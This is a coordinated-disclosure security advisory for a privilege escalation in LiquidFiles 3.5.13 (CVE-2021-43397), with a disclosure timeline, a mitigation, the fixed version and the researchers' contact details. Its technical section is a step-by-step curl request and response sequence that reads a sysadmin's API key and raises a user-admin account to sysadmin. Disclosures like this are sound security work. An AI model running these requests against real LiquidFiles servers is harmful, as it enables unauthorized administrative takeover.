LiquidFiles 3.5.13 Privilege Escalation

2021.11.18
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

=============================================================================== title: LiquidFiles Privilege Escalation product: LiquidFiles v3.5.13 vulnerability type: Privilege Escalation severity: Medium CVSSv3 score: 6.7 CVSSv3 vector: AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L found: 2021-10-29 by: Riccardo Spampinato, Eliana Cannella, Valerio Casalino =============================================================================== [EXECUTIVE SUMMARY] LiquidFiles is a secure file transfer system for person-to-person email communication. During an engagement for our customer we discovered a Privilege Escalation from "User Admin" user to "System Administrator" user. Using LiquidFiles API, a "User Admin" user can list all the application registered users, retrieving information such as their API keys, including those of the System Administrators. As per LiquidFiles documentation, API key is used as HTTP basic authentication in order to authenticate to the LiquidFiles system. A malicious "User Admin" user, by using a 'System Administrator's API key, can obtain the role of System Administrator and can administer all aspects of the LiquidFiles system. The impact of a successful attack includes: obtaining access to all aspects of the LiquidFiles system of the application via the System Administrator API key. [VULNERABLE VERSIONS] The following version of LiquidFiles system is affected by the vulnerability; previous versions may be vulnerable as well: - LiquidFiles v3.5.13 [TECHNICAL DETAILS] It is possible to reproduce the issue following these steps: 1. Get the API key of your own user-admins user; 2. With your own user-admins user's API key, get a sysadmins' API key via /admin/users API; 3. With sysadmins' API key retrieved at the step below, issue /admin/users/<user-admins_user_id> API modifying the group of your user-admins user from "user-admins" to "sysadmins"; 4. You are now a sysadmins user. You can verify it by either login again with your own user via web GUI (you are now prompted to set a fallback password to use in case LDAP authentication fails) or by issuing /admin/users/<user-admins_user_id> API to view your own user. Below a full transcript of the HTTP requests and responses used to raise the vulnerability: 1. Get the API key of your own user-admins user cURL Request: curl -X POST -H "Accept: application/json" -H "Content-Type: application/json" -d '{"user":{"email":"[user-admins_user_mail]","password":"[CENSORED]"}}' https://[CENSORED]/login Response: {"user":{"api_key":"[user-admins_user_API_key]"}} 2. Get a sysadmins' API key cURL Request: curl -s -X GET --user "[user-admins_user_API_key]:x" -H "Accept: application/json" -H "Content-Type: application/json" https:// [CENSORED]/admin/users Response: [TRUNCATED] {"user": { "id": "[CENSORED]", "email": "[CENSORED]", "name": "[CENSORED]", "group": "sysadmins", "max_file_size": 0, "filedrop": "disabled", "filedrop_email": "disabled", "api_key": "[sysadmins_user_API_key]", "ldap_authentication": "false", "locale": "", "time_zone": "", "strong_auth_type": "", "strong_auth_username": "", "delivery_action": "", "phone_number": "", "last_login_at": "2021-10-29 10:02:11 UTC", "last_login_ip": "[CENSORED]", "created_at": "2020-06-30 10:49:38 UTC" } }, [TRUNCATED] 3. Modify the group of your own user-admins user from "user-admins" to "sysadmins" cURL Request: cat <<EOF | curl -s -X PUT --user "[sysadmins_user_API_key]:x" -H "Accept: application/json" -H "Content-Type: application/json" -d @- https:// [CENSORED]/admin/users/<user-admins_user_id> {"user": { "name": "[user-admins_user_name]", "group": "sysadmins" } } EOF Response {"user": { "id": "[CENSORED]", "email": "[CENSORED]", "name": "[CENSORED]", "group": "sysadmins", "max_file_size": 0, "filedrop": "disabled", "filedrop_email": "disabled", "api_key": "[CENSORED]", "ldap_authentication": "true", "locale": "", "time_zone": "", "strong_auth_type": "", "strong_auth_username": "", "delivery_action": "", "phone_number": "", "last_login_at": "2021-11-03 13:31:58 UTC", "last_login_ip": "[CENSORED]", "created_at": "2021-03-03 11:48:37 UTC" } } 4. Verify that your own user-admins user is now a sysadmins one. cURL Request curl -X GET -H "Accept: application/json" -H "Content-Type: application/json" --user [user-admins_user_API_key]:x https:// [CENSORED]/admin/users/<user-admins_user_id> Response {"user": { "id": "[CENSORED]", "email": "[CENSORED]", "name": "[CENSORED]", "group": "sysadmins", "max_file_size": 0, "filedrop": "disabled", "filedrop_email": "disabled", "api_key": "[CENSORED]", "ldap_authentication": "true", "locale": "", "time_zone": "", "strong_auth_type": "", "strong_auth_username": "", "delivery_action": "", "phone_number": "", "last_login_at": "2021-11-03 13:34:36 UTC", "last_login_ip": "[CENSORED]", "created_at": "2021-03-03 11:48:37 UTC" } } [VULNERABILITY REFERENCE] The following CVE ID was allocated to track the vulnerabilities: CVE-2021-43397 [DISCLOSURE TIMELINE] 2021-11-02 Vulnerability submitted to vendor through vendor support portal. Vendor requested more info and acknowledged the problem later. 2021-11-04 Researcher requested to allocate a CVE number. Vendor released a fix for the reported issue. 2021-11-09 Researcher requested to publicly disclose the issue; public coordinated disclosure. [MITIGATION] As per vendor suggestion, the vulnerability could be mitigated in versions prior to 3.6.3 by disabling API in Admins groups. [SOLUTION] Version 3.6.3 (released 2021-11-09) https://man.liquidfiles.com/release_notes/version_3-6-x.html [NOTE] Please note that the issue described in this advisory can be also raised via Web GUI LiquidFiles Admin panel. [CONTACT DETAILS] Riccardo Spampinato riccardo.spampinato@mail-bip.com +39 348 725 8746 Eliana Cannella eliana.cannella@mail-bip.com +39 345 762 2019 Valerio Casalino valerio.casalino@mail-bip.com +39 348 824 9794


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